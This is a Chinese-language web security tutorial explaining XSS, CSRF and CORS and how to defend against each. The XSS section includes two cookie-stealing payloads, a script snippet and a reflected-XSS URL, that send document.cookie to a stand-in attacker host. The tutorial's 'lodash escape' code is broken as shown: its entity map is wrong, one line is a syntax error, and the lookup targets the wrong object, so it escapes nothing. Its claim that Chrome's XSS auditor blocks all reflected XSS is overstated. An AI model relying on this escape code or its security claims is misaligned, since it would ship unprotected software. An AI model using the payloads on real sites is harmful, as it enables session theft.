一、XSS
含义:跨站脚本攻击
作用原理
XSS 是注入攻击的一种,其特点是不对服务器端造成任何伤害。攻击者在站点上注入恶意的前端代码,用户访问站点拉取代码,如果没有对这段恶意的代码进行转义,那么就会直接执行了。攻击者会把cookie session 里的东西取走,或者恶意跳转重定向。
示例:窃取cookie发送给攻击者服务器
var i = document.createElement("img")
document.body.appendChild(i)
i.src = "http:www.hackserver.com/?p="+document.cookie
如何防范
方式一:转义
-
输入层:一些富文本等收集用户输入的口子里加转义。我们不让用户直接输入html,而是转义成一段纯文本。目前很多带模板引擎的框架也都考虑到这一点,自动帮我们加上了。
-
输出层:对于存入库里的字符串,服务端再返回时候加一层过滤,对于可执行的脚本做失效处理。
ps: 代码里主要处理 <,>,&,",',%,+,() 等特殊字符。
lodash源码里escape方法:
const htmlEscape = {
'&':'&',
'<':'<',
'>':'$gt',
'"':'"',
''':'''
}
const reg = /[&<>"']/g
const html = RegExp(reg.source)
function escape(str){
return (str && html.test(str)) ? str.replace(html,(chr)=> html[chr]):str
}
export default escape
对于 vue中,v-html 和 innerHTML 加载的客户信息是可以使用上面方法进行转义的。
<div v-html="`<span>${escape(message)}</span>`"></div>
vue 官方也建议: 对于从接口请求的数据,尽量使用{{}}加载,而不是v-html. 站点上动态渲染的HTML是非常危险
方式二:过滤
就是将提交上来的数据中的敏感词汇直接过滤掉。例如: "<script>"、"<a>"、"<img>" 等标签进行过滤,有的是直接删除这类标签中的内容。破坏掉恶意代码的结构。
方式三:限制长度
精心构造一个攻击链接往往需要较长的字符串。那我干脆就对提交上来的数据长度做一个限制,这样就能解决一个即使真的存在一个XSS漏洞
例如:这段UR比之前见过的都长,还夹杂着一些js代码。
http://www.user.com/info.html?desc="/><script>$("body").append("<img src='http:www.hackserver.com/?p="+document.cookie + "'>")</script>
这段代码,就将cookie泄露出去,让别人能实现免登录。
这种构造url的方式 叫反射型xss,那种把恶意代码通过输入框存入库的叫存储型xss
方式四:入口页面meta使用csp
页头里加入meta配置
<meta http-equiv="Content-Security-Policy" content="script-src 'self';style-src 'self'">
上面的CSP设置表示,script脚本资源和style样式资源只能加载当前域名下的资源。这样子可以避免外部恶意的脚本的加载和执行。
ps:这样设置后 CDN资源是加载不了。
另外要知道CDN也不是万能的:
其一是不会减少页面加载资源的体积.
其二是第三方CDN稳定性不能保证,有时候第三方CDN的服务器会挂掉导致需要的资源加载不了。
上面的设置对于工程化webpack 构建打包的项目还是有些问题的:
- 如果script-src设置成‘self’会阻止eval的使用,而webpack在development模式下大量使用eval进行脚本注入。
- 有时在开发或是生产环境下,我们可能配置了把CSS内容打包到JS文件里面。加载页面时,JS脚本会在页面中插入一个个style标签补充层叠样式模型。如果style-src设置成‘self’会阻止style内联样式的插入和执行 所以加入了'unsafe-eval' 和 'unsafe-inline'配置
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-eval';style-src 'self' 'unsafe-inline'">
小结:
- 聊天模块和富文本模块动态渲染html很容易出现XSS问题,此时可以借助一些 第三方的npm 包,(npm i xss -S)
- vue中尽量不要用v-html 而是用{{}} 处理,框架层已处理
- 对动态html 做转义或者过滤。让恶意代码失效。
- Chrome的内核自带了一个xssAuditor的功能,这个功能可以阻止全部的非持续型的XSS,但是无法防护持续型(存储型)XSS的。
二、csrf
含义:跨站请求伪造
作用原理
攻击者借助受害者的cookie 骗取服务器的信任,进而伪造请求发给后端,执行了权限保护之下的操作,用户完全不知情。
实现步骤
- 你登录了银行站点A,保存了cookie信息在站点中
- 这个时候你登录站点B,站点B里放了一些请求站点A的代码,访问B的时候会自动的成功请求A
- 在不知情的情况下,B站点已经从站点A拿到了你的数据,或者对你的信息做了一些处理。
如何防范
方式一:验证码
这种方式是应对csrf最简单有效的了。CSRF 攻击往往是在用户不知情的情况下构造了网络请求。而验证码会强制用户必须与应用进行交互,才能完成最终请求
局限性: 这种方式虽好,但是不能给网站所有的操作都加上验证码。
方式二:定制特殊参数或者请求头。
http是允许你自定义header的,所以我们可以专门设立一个字段来标识这个请求是来自咱自家的客户端,比如:x-crsf-token。 这个字段的值是服务端传递过来的随机产生的,客户端请求会带上,然后接口层比对,合规就放行,否则HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
方式三:验证请求来源
和方式二比较像,只是这个字是http请求头自带的。它叫 Referer,负责记录HTTP 请求的来源地址。通过 Referer Check,可以检查请求是否来自合法的”源”。
ps:用户侧,不要在访问了个人财产等重要隐私页面后又乱点其他站点页面。
小结:
- 可以说csrf是对其他站点请求的防御。 XSS就是对自己站点内一些未预料到的请求。
三、cors
含义:跨域资源请求。
作用原理
它允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制。由于跨域访问的允许,因此,即使服务器本机域上阻止了XSS威胁,攻击者还可以利用其他任意子域上XSS漏洞(如客户第三方业 务系统),发送跨域请求到目标重要域网站,从而获取敏感内容
如何防范
方式一:配置请求源的白名单
上面说了CORS可能是我们自己需要使用的,也可能不是我们期望的,因此需要在服务端代码中加上白名单控制。
相关的配置字段:
- Access-Control-Allow-Origin:必填字段,表示允许的来源,如果是*代表任意域名。但是公司一般要求只能填固定的几个域名。
- Access-Control-Allow-Credentials:该字段可选。布尔值,表示是否允许在 CORS 请求之中发送 Cookie 。若不携带 Cookie 则不需要设置该字段。
小结
- 我们在做现代的工程化开发阶段,请求接口有跨域问题,所以一般需要后端把允许的请求源放开。但是生产部署一般前后端是不分离部署的,没有跨域问题,可以让后台把cors关闭。